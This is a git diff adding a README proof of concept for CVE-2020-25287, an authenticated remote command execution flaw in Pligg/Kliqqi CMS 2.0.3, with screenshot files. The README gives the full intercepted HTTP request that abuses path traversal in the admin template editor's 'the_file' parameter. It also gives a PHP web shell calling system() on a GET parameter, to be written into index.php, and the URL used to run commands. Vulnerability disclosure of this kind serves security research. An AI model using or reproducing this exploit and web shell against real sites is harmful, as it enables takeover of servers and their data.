diff --git a/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/README.md b/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/README.md new file mode 100644 index 0000000..1877c30 --- /dev/null +++ b/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/README.md @@ -0,0 +1,61 @@ +# pligg + +## pligg 2.0.3 - CVE-2020-25287 + +* Description : We can acces to anyfile using `the_file` parameter by template editor menu because of no check on extension and then create webshell into existing php file for exemple +* Affected version : 2.0.3 + +### Information + +To make this PoC, i just installed the sofware(`https://github.com/Kliqqi-CMS/Kliqqi-CMS`) using WAMP on Windows + +* Vulnerability Type : Remote command execution (Authenticated RCE) + +### POC + +receStore + +Go to `/admin/admin_editor.php` intercept the request and change the path to file. + + +for exemple to get `index.php` of application : + +receStore + + + +``` +POST /admin/admin_editor.php HTTP/1.1 +Host: kliqqi +Content-Length: 33 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +Origin: http://kliqqi +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Referer: http://kliqqi/admin/admin_editor.php +Accept-Encoding: gzip, deflate +Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7 +Cookie: panelState=CollapseManage%7CCollapseSettings%7CCollapseTemplate; PHPSESSID=lfkc3gtrv5o1golmt5md3; mnm_user=Admin; mnm_key=QWRtaW46MjI0R2dEVTAxZncxZzpl +Connection: close + +the_file=..%2Findex.php&open=Open +``` + + +just click on "show response in browser", and edit the file to suit your needs + +receStore + +for exemple : + +```php + if($_GET['cmd']){ + system($_GET['cmd']); +} +``` + +finaly go to `website.fr?cmd=dir`. + +receStore diff --git a/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/getindex.png b/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/getindex.png new file mode 100644 index 0000000..eac48b6 Binary files /dev/null and b/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/getindex.png differ diff --git a/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/rce.png b/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/rce.png new file mode 100644 index 0000000..f8fd901 Binary files /dev/null and b/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/rce.png differ diff --git a/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/start.png b/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/start.png new file mode 100644 index 0000000..f4bf95d Binary files /dev/null and b/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/start.png differ diff --git a/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/write.png b/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/write.png new file mode 100644 index 0000000..c25a63f Binary files /dev/null and b/CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/write.png differ